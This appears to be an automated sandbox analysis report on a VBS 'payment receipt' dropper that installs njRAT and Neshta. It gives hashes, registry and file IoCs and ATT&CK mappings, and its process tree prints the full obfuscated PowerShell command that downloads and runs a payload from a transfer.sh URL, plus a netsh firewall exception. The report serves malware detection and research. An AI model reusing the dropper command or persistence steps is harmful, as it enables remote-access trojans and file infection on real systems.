neshta | 7ad872e2d279268cc3107a90337b4beb3be0fc888668d60e6995d64b8955b2e6

Analysis

max time kernel
151s
max time network
149s
platform
windows10_x64
resource
win10-en-20211208
submitted
05/01/2022, 08:22

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General

Target
7H2B1N27_PAYMENT_RECEIPT.vbs
Size 2KB
Sample220105-j9ll2aaba5
SHA256 7ad872e2d279268cc3107a90337b4beb3be0fc888668d60e6995d64b8955b2e6
MD5 1cf9e3a75322042644a95e4d9eb359bc
SHA1 27469cadb09a071e5ee98e6a6492bf1ee16bd170
SHA512 a97d371a84e9ec64821022d64439ac6b04befe0fc2b4231b721450cbc12d70cc3232a53df936a4158e8c5e380c66ef6d1dff66aff4c0b5909652b3dc4f7a41ad
MD5 SHA1 SHA512

Score

10^/10

neshta njrat hacked evasion persistence spyware trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://transfer.sh/get/BKC469/HHHHHHHHHHHHHHHH.txt

Extracted

Family

njrat

Version

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Signatures

Detect Neshta Payload 3 IoCs

resource	yara_rule
behavioral2/memory/1324-148-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/1324-149-0x00000000004080E4-mapping.dmp	family_neshta
behavioral2/memory/1324-154-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1042

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	aspnet_compiler.exe

Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	2824	powershell.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" .."	aspnet_compiler.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\" .."	aspnet_compiler.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2824 set thread context of 1324	2824	powershell.exe	70
PID 2824 set thread context of 1044	2824	powershell.exe	71

Drops file in Program Files directory 53 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~4.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOF5E2~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\setup_wm.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmlaunch.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\armsvc.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\ACCESS~1\wordpad.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GO664E~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{F4220~1\VC_RED~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\WinMail.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wab.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmprph.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpshare.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~2.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpconfig.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmplayer.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~3.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.71\GOBD5D~1.EXE	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	aspnet_compiler.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe	aspnet_compiler.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\svchost.com	aspnet_compiler.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	1044	aspnet_compiler.exe
Token: 33	1044	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1044	aspnet_compiler.exe
Token: 33	1044	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1044	aspnet_compiler.exe
Token: 33	1044	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1044	aspnet_compiler.exe
Token: 33	1044	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1044	aspnet_compiler.exe
Token: 33	1044	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1044	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 2824	2404	WScript.exe	68
PID 2404 wrote to memory of 2824	2404	WScript.exe	68
PID 2824 wrote to memory of 1324	2824	powershell.exe	70
PID 2824 wrote to memory of 1324	2824	powershell.exe	70
PID 2824 wrote to memory of 1324	2824	powershell.exe	70
PID 2824 wrote to memory of 1324	2824	powershell.exe	70
PID 2824 wrote to memory of 1324	2824	powershell.exe	70
PID 2824 wrote to memory of 1324	2824	powershell.exe	70
PID 2824 wrote to memory of 1324	2824	powershell.exe	70
PID 2824 wrote to memory of 1324	2824	powershell.exe	70
PID 2824 wrote to memory of 1324	2824	powershell.exe	70
PID 2824 wrote to memory of 1324	2824	powershell.exe	70
PID 2824 wrote to memory of 1324	2824	powershell.exe	70
PID 2824 wrote to memory of 1044	2824	powershell.exe	71
PID 2824 wrote to memory of 1044	2824	powershell.exe	71
PID 2824 wrote to memory of 1044	2824	powershell.exe	71
PID 2824 wrote to memory of 1044	2824	powershell.exe	71
PID 2824 wrote to memory of 1044	2824	powershell.exe	71
PID 2824 wrote to memory of 1044	2824	powershell.exe	71
PID 2824 wrote to memory of 1044	2824	powershell.exe	71
PID 2824 wrote to memory of 1044	2824	powershell.exe	71
PID 1044 wrote to memory of 4040	1044	aspnet_compiler.exe	73
PID 1044 wrote to memory of 4040	1044	aspnet_compiler.exe	73
PID 1044 wrote to memory of 4040	1044	aspnet_compiler.exe	73

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7H2B1N27_PAYMENT_RECEIPT.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &((gv '*MDR*').naMe[3,11,2]-joIN'') ( (('(0PG (Rd9&(Lz0PG+0PGS{0'+'PG+0PG0}Rd9+Rd0PG+0'+'PG9{1}LzRd0PG+0PG9+Rd0PG+0PG9S0PG+0PG-fRd9+Rd9X'+'EzIR0PG+0PGd0PG+0PG9'+'+R0PG+0PGd9EXEz,XEzR'+'d9'+'+Rd9XXEz)(.R0PG+0PGd0PG+0PG9+Rd9(0PG+0PGLRd9+Rd9z0PG+0PGS{10PG+0PG}{0}R0PG+0PGd9+R0PG+0PGd90PG+0PG{20PG+0PG}LzS -R0PG+0PGd90PG+0PG+Rd90PG+0PGfXERd0PG+0PG90PG+0PG+Rd0PG'+'+0PG9zORd9+Rd9bXEz,(LR0PG+0PGd0PG+0PG9+Rd90PG+0PGzS{1}0PG+0PGRd90PG+0PG+0PG+0PGR0PG+0PGd9{0Rd9+Rd9}LzS 0PG+0PG-f'+'Rd9+Rd9 0PG+0PGRd9+Rd90PG+0PGXEz0PG+0PGw-Rd9+0P'+'G+0PGRd9XEz,XE0PG+0PGz0PG+0PGRd0'+'PG+0PG9+R'+'d9N0PG+0PGeXEz)Rd9+Rd90PG+0PG,(0PG+0PGLz0PG+0PGS{0}{1R0PG+0PGd0PG+0PG9+Rd9}Rd9+Rd90PG+0PGLz0PG+0PGS-Rd9+Rd0PG+0PG9fXEz0PG+0PGjeXE0PG+0PGz0PG+0PG,XEzRd0PG+0PG9+Rd0PG+0PG9ctX0PG+0PGEz)) (LzS{2Rd90PG+0PG+R0PG+0PGd90PG'+'+0PG}{0}0PG+0PG{'+'0PG+0PG1Rd9+Rd9}LzSRd9+0PG+0PGRd0PG+0PG9-fRd9+Rd9 R'+'d90PG+0PG+Rd9(Lz0PG+0PGRd9+Rd0PG+0PG9S{1}{0}{0PG+0PG2Rd0PG+0PG90PG+0PG+R0PG+0PGd9}Rd9+Rd9LzS 0PG+0PG-f Rd9+Rd9XRd9+Rd9EzbCl0PG+0PGXEz,XEz.W0PG+0PGe0PG+0PGXR'+'d'+'9+Rd9ERd90PG+0PG+R0PG+0PGd90PG+0PGz,XEz0PG+0PGiX0PG+0PGEz)0PG+0PG,R0PG+0PGd9+Rd9XERd9+R0PG+0PGd9ze0PG+0PGntXEz,X0PG+0PGR0PG+0PGd9+R0PG+0PGd9EzNetXEz'+')).0PG+0PG(L0PG+0PGRd9+Rd9zRd90P'+'G+0PG+Rd90PG+0P'+'GS{Rd0PG+0PG90PG+0PG+Rd0PG+0PG90}{2Rd9+0PG'+'+0PGRd'+'9}0PG+0PG{3}{0PG+0PG1}{40PG+0PG}LRd90PG+0PG+Rd9zSRd9+Rd9 0PG+0PG-f XE0PG+0PGzDXERd9+Rd9z,Rd9+R0PG+0PGd9XEzdstXEz'+',XE0PG+0PGzow0PG+0PGnXERd'+'9+R0PG+0PGd9z,R0PG+0PGd9+0PG+0PGR0PG+0PGd90PG+0PGXEzloaXER0PG+0PGd90P'+'G'+'+0PG+Rd90PG+0PGz,(LRd0PG+0PG9+0P'+'G+0PGRd9z0PG+0PGRd9+Rd9S0PG+0PG{0}{1}LzRd9+Rd0PG+0PG9S -Rd9+0PG+0PGRd9fRd0PG'+'+0PG9+R'+'d9XEzrRd9'+'+R0PG+0PGd9iXEz,0PG+0PGX0'+'PG+0PGEzn0PG+0PGgXEz0PG+0PGRd9+Rd90'+'PG+0PG)).LRd9+Rd9'+'zSINRd9+Rd0PG+0PG9vOLGykERd9+Rd9'+'LzS(0PG+0'+'PGXEzhttps://transfer.sh/get/BKC469/HHHHHHHHHHHHHHHH.txtX0PG+0PGRd9+Rd9Ez)Rd0PG+0PG90PG+0PG).rEp'+'l0PG+0P'+'GacE(Rd9LGyRd9'+',0PG+0PGR0PG+0PGd9tYaRd0PG+0PG9).rEplacE(([cHaR]76+0PG+0PG[cHaR]122+[0PG+0PGcHaR0PG+0PG]0PG+0PG83),[STrinG]0PG+0PG[0PG+0PGc'+'HaR]34)0PG+0PG.rEplacE(([cHaR]80PG+0PG8+[cHaR]60PG+0PG9+[cHaR]120PG+0PG2),[0PG+0PGSTr'+'inG][cHa0PG+0PGR]30PG+0PG9)0c0PG'+'+0PGoIn0PG+0PGVo0PG+0PGkE-E0PG+0PGxpre'+'sSi0PG+0PGo0PG+0PGN0PG).rEplaCe(0PGRd90PG,[sTrIng][CHar]39).rEplaCe(0PG0co0PG,0PGvKO0PG).rEplaCe(([CHar'+']116+[CHar]89+[CHar]97),[sTrIng][CHar]96)vKO .( kSfEnV:COmspeC[4,24,25]-jOIN0'+'PG0PG)') -replace ([CHaR]118+[CHaR]75+[CHaR]79),[CHaR]124-crEpLace([CHaR]48+[CHaR]80+[CHaR]71),[CHaR]39 -replace 'kSf',[CHaR]36))
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - Modifies system executable filetype association
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies registry class
    PID:1324
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1044
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "aspnet_compiler.exe" ENABLE
      4⤵
      PID:4040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Change Default File Association

T1042

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1044-157-0x00000000050E0000-0x000000000517C000-memory.dmp

Download

memory/1044-163-0x0000000005C60000-0x0000000005C6A000-memory.dmp

Download

memory/1044-161-0x0000000005180000-0x000000000567E000-memory.dmp

Download

memory/1044-159-0x0000000005580000-0x0000000005612000-memory.dmp

Download

memory/1044-158-0x0000000005680000-0x0000000005B7E000-memory.dmp

Download

memory/1044-156-0x0000000000400000-0x0000000000410000-memory.dmp

Download

memory/1044-155-0x0000000000400000-0x0000000000410000-memory.dmp

Download

memory/1044-151-0x0000000000400000-0x0000000000410000-memory.dmp

Download

memory/1324-148-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/1324-154-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/2824-136-0x000001F2442A6000-0x000001F2442A8000-memory.dmp

Download

memory/2824-153-0x000001F244210000-0x000001F244212000-memory.dmp

Download

memory/2824-135-0x000001F244210000-0x000001F244212000-memory.dmp

Download

memory/2824-137-0x000001F244210000-0x000001F244212000-memory.dmp

Download

memory/2824-147-0x000001F25CAF0000-0x000001F25CB02000-memory.dmp

Download

memory/2824-131-0x000001F2442A0000-0x000001F2442A2000-memory.dmp

Download

memory/2824-127-0x000001F244210000-0x000001F244212000-memory.dmp

Download

memory/2824-150-0x000001F25CB00000-0x000001F25CB12000-memory.dmp

Download

memory/2824-126-0x000001F25CB10000-0x000001F25CB86000-memory.dmp

Download

memory/2824-125-0x000001F244210000-0x000001F244212000-memory.dmp

Download

memory/2824-132-0x000001F2442A3000-0x000001F2442A5000-memory.dmp

Download

memory/2824-124-0x000001F244210000-0x000001F244212000-memory.dmp

Download

memory/2824-123-0x000001F244210000-0x000001F244212000-memory.dmp

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memory/2824-122-0x000001F244210000-0x000001F244212000-memory.dmp

Download

memory/2824-121-0x000001F25C960000-0x000001F25C982000-memory.dmp

Download

memory/2824-120-0x000001F244210000-0x000001F244212000-memory.dmp

Download

memory/2824-119-0x000001F244210000-0x000001F244212000-memory.dmp

Download

memory/2824-117-0x000001F244210000-0x000001F244212000-memory.dmp

Download

memory/2824-118-0x000001F244210000-0x000001F244212000-memory.dmp

Download

memory/2824-116-0x000001F244210000-0x000001F244212000-memory.dmp

Download